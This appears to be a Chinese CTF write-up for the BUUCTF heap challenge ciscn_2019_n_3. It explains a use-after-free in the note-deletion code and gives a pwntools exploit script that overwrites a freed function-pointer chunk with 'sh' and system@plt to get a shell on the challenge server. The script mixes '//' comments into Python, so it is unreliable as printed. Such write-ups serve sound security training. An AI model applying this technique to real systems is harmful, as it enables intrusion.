BUUCTF--ciscn_2019_n_31

news2025/5/25 16:28:41

这是一题32位的堆题,照常看看保护:


没有开启PIE,接着进行黑盒测试:


菜单题,扔进IDA看看代码逻辑:


4这个功能是提供所谓的进阶版,当时我测试的时候以为是里面有后门还是什么的。结果发现是虚晃一枪,主要就是增加删除和展示。下面看看增加的代码功能:


我自己理解的注释写在了上面,do_new函数总结如下:

1.不管你是输入数字还是字符串内容,都会首先创建一个大小为0xc的chunk,用于存放两个函数指针。

2.如果是数字只会创建一个0xc大小的chunk,值存放在两个函数指针的后面。

3.如果是文本字符串内容,首先会创建一个0xc大小的chunk,首先用于存放两个函数指针,紧接着存放一个根据用户申请大小的堆块地址。用户输入的内容将存在于用户申请大小堆块里。

我们分别申请2个类型的堆看看:

申请一个纯数字类型的堆输入的值为0x41:


我们看到起始部分是有个0x151大小的堆。不用管他(应该是程序某个部分开辟的缓冲区)我们真正申请的是0x965d158。

然后我们看看堆里的内容:



我们看到没有任何问题。是我们猜想的那样。

紧接着我们看看申请类型2文本类型的堆会如何(这里我创建的堆的大小为0x88,值为10个a,索引值为0):


我们看到首先会创建一个0xc大小的堆,紧接着就是我们输入大小的堆。我们看看内容:



下面我们看看全局数组到底存了什么:


我们看到它会存放我们0xc的起始位置,看懂这个结构才能明白下面的free代码。

然后我们看看释放堆块的过程:

首先找到索引然后+4找到free的函数地址,紧着着把索引所对应的值当成参数传递


代码很少。但是为我们后续利用留下伏笔(出题人故意让你这么传参的)。因为本地我们用不到show这些功能,因此我就不分析了。我们只分析free的代码:



从free代码我们看到,只是释放那个堆,但是没有置空,全局变量里并没有清空这个堆块,这会引起UAF漏洞:


我们看到此时尽管有一块堆被我们释放并且进入了tcachebins中。但是全局数组依然记录这这块堆地址。(建议这里自己调试下,因为文字讲述实在过于抽象,我对tcachebins机制还不是很了解)

因此我们的利用点就在这了。因为程序中给了system的地址。并且没有开启PIE,因此我们只需要找到一块可重复利用空间覆盖成我们想要的。并利用上面的提到的传参规则。直接看wp比较好理解:

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
#context.log_level = 'debug'
#io=process('./ciscn_2019_n_3')
io=remote('node5.buuoj.cn',27505)
elf = ELF("./ciscn_2019_n_3")


def new(idx,type,value,length=0):
    io.recvuntil("CNote")
    io.sendline(str(1))
    io.recvuntil("Index")
    io.sendline(str(idx))
    io.recvuntil("Type")
    io.sendline(str(type))
    if type == 1:
        io.recvuntil("Value")
        io.sendline(str(value))
    else:
            io.recvuntil("Length")
            io.sendline(str(length))
            io.recvuntil("Value")
            if length == 8:
                io.send(value)
            else:
                io.sendline(value)

def dele(idx):
    io.recvuntil("CNote")
    io.sendline(str(2))
    io.recvuntil("Index")
    io.sendline(str(idx))

def show(idx):
    io.recvuntil("CNote")
    io.sendline(str(3))
    io.recvuntil("Index")
    io.sendline(str(idx))

if __name__ == "__main__":
 #gdb.attach(io) 


  
  new(0,2,'a'*10,0x88)  //申请三个堆
  new(1,2,'b'*10,0x38)
  new(2,1,0x41)        //最末尾创建的大小为0xc的chunk,用于欺骗堆管理器 
  
  dele(1)          //释放索引为1的堆
  
  dele(2)          //释放索引为2的堆
  
  new(3,2,b'sh\x00\x00'+p32(elf.plt['system']),0xc)  //此时再次申请我们就能覆盖索引为1的0xc大

                                                     //小的堆快上
  
  dele(1)                    //触发system

io.interactive()

我这里解释下这个sh\x00\x00和bin/sh功能是一样的。但是这里限制4个字节所以bin/sh参数是用不了的


打通。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1355782.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

(17)Linux的进程阻塞进程程序替换 exec 函数簇

前言:本章我们讲解它的 options 参数。在讲解之前我们需要理解进程阻塞,然后我们重点讲解二进程程序替换,这是本章的重点,然后介绍一个进程替换函数 execl,通过介绍这个函数来打开突破口,引入进程创建的知识…

dubbo使用的三种配置

一. 准备注册中心 dubbo的注册中心在生产环境中,一般都会选择 ZooKeeper 下载 ZooKeeper ZooKeeper_3.4.14下载地址启动ZK # 解压安装包 tar -zxvf zookeeper-3.4.14.tar.gz# 进入安装目录, cp conf/zoo_sample.cfg conf/zoo.cfg# 启动ZK ./bin/zkServ…

Vue3-33-路由-路由的别名配置 alias

别名的作用 路由中的别名配置,可以实现 多个路径 对应 同一个路由。 例如 : 路由的路径是 /a; 配置别名为 : /a2; 则 访问 /a 或 /a2 的时候,都可以访问到 同一个组件。 别名的特点 关键字 : alias 当通过别名进行路由…

【期末复习向】数据可视化技术

一、重点复习 题型:填空题(15道,2分一个)与简答题(3道题目,10分一个)与绘图题(选画2个类型的图) 1.什么是数据可视化 在计算机视觉领域,数据可视化是对数据的…

Docker入门教程(详解)

Docker容器化 一 入门 1. 引言 (1)单机部署 场景: 将多个应用部署一台服务器上。 问题 每个应用软件,都会消耗物理资源,共用计算机资源,彼此之间会形成竞争关系。 (2)多机部署 …

技术大拿私房课:掌握Task、Thread、ThreadPool的终极秘籍!

大家好,我是小米!在这个充满技术和创新的时代,作为一名喜欢分享的技术探索者,我想和大家聊一聊一些在社招面试中常常被提到的热门话题——task、thread、threadpool。这是一组关于并发编程的核心问题,也是我们在日常工…

速学python·变量和类型

变量是什么 变量是在计算复杂程序过程中,用于保存中间结果的东西,这个东西一般是可变的量,也就是变量。 例如: 计算方差 1.计算平均值 2.计算每个数字与平均值的差值再平方 3.相加每一项平方值 4.除项数 Average (77.588.599.510…

C语言——表达式的求值

表达式求值有以下几种决定因素。 一、操作符优先级和结合性 类别 操作符 结合性 后缀 () [] -> . - - 从左到右 一元 - ! ~ - - (type)* & sizeof 从右到左 乘除 * / % 从左到右 加减 - 从左到右 移位 << >> 从左到右 关系 < < > > 从左…

Spark内核解析-内存管理7(六)

1、Spark内存管理 Spark 作为一个基于内存的分布式计算引擎&#xff0c;其内存管理模块在整个系统中扮演着非常重要的角色。理解 Spark 内存管理的基本原理&#xff0c;有助于更好地开发 Spark 应用程序和进行性能调优。本文中阐述的原理基于 Spark 2.1 版本。 在执行 Spark 的…

聚丙烯腈,到预测期结束时将达到36亿美元的市场规模

聚丙烯腈 (PAN) 是一种合成聚合物&#xff0c;广泛用于各种应用&#xff0c;包括纺织品、碳纤维生产和水处理。近年来&#xff0c;受航空航天、汽车和建筑行业对碳纤维增强复合材料需求不断增长的推动&#xff0c;全球 PAN 市场稳步增长。 全球 PAN 市场预计从 2020 年到 2025 …

Typora+PicGo+Gitee构建云存储图片

创建Gitee仓库 首先&#xff0c;打开工作台 - Gitee.com&#xff0c;自行注册一个账户 注册完后&#xff0c;新建一个仓库&#xff08;记得仓库要开源&#xff09; 然后创建完仓库后&#xff0c;鼠标移动到右上角头像位置&#xff0c;选择设置&#xff0c;并点击&#xff…

prometheus grafana redis安装配置监控

文章目录 前传安装redis-exporterredis_exporter参数配置参考配置prometheus查看promethues redis job节点grafana配置外传 前传 prometheus grafana的安装使用&#xff1a;https://nanxiang.blog.csdn.net/article/details/135384541 本文说下监控nginx&#xff0c;promethe…

关于户口本等户籍材料翻译

户籍材料&#xff0c;作为证明公民户籍与身份的关键文件&#xff0c;在每个实施户籍制度的国家中均不可或缺。它们不仅是登记、变更或注销户籍的依据&#xff0c;更是多种生活场景中不可或缺的证明。举例来说&#xff0c;一个在国外出生的孩子若想在中国落户&#xff0c;就必须…

【进程间通信】

什么是进程通信 进程通信&#xff08; InterProcess Communication&#xff0c;IPC&#xff09;就是指进程之间的信息的传播和交换。 进程是分配系统资源的单位&#xff0c;包括内存地址空间&#xff0c;为了保证安全&#xff0c;一个进程不能直接访问另一个进程的地址空间&a…

AI:106-基于卷积神经网络的遥感图像地物分类

🚀点击这里跳转到本专栏,可查阅专栏顶置最新的指南宝典~ 🎉🎊🎉 你的技术旅程将在这里启航! 从基础到实践,深入学习。无论你是初学者还是经验丰富的老手,对于本专栏案例和项目实践都有参考学习意义。 ✨✨✨ 每一个案例都附带有在本地跑过的关键代码,详细讲解供…

数字孪生与大数据和分析技术的结合

数字孪生与大数据和分析技术的结合可以为系统提供更深入的见解、支持实时决策&#xff0c;并优化模型的性能。以下是数字孪生在大数据和分析技术中的一些应用&#xff0c;希望对大家有所帮助。北京木奇移动技术有限公司&#xff0c;专业的软件外包开发公司&#xff0c;欢迎交流…

富文本BraftEditor引起的bug

1、BraftEditor踩坑1 #基于之前写的一篇BraftEditor的使用# 1. 问题起源&#xff1a; 打开编辑弹窗--> 下面页面所示--> 当进行分类选择时候&#xff0c;就会报错&#xff0c;并且这个报错还不是一直都有&#xff0c;6次选择出现一次报错吧 2. 解决&#xff1a; 2.1 起…

工具-cmd命令行默认以管理员模式运行

不知道你们电脑是不是遇到过&#xff0c;直接打开命令行&#xff0c;如果执行一些npm nodejs的命令经常会报错&#xff1a; 就必须使用管理员模式才可以。很麻烦&#xff0c;下面是如果设置不管在哪里打开都是管理员模式的方式&#xff1a; 首先找到npm在哪里&#xff1a; 直…

Pytorch一些小知识点 十天快速入门

https://www.aiexplorer.blog/tag/Pytorch Pytorch-day01-基础入门 tensor是什么tensor四则运算tensor广播 view 和 reshape 的区别 view 共享内存&#xff0c;#我们希望原始张量和变换后的张量互相不影响。 #为了使创建的张量和原始张量不共享内存&#xff0c;我们需要使用第…

C#中汉字转区位码

目录 一、关于区位码 1.区位码定义 2.算法 二、实例 三、生成效果 四、程序中的知识点 1.byte[] GetBytes(string s) 2.字节数组转short类型 一、关于区位码 1.区位码定义 区位码是一个4位的十进制数&#xff0c;每个区位码都对应着一个唯一的汉字&#xff0c;区位码…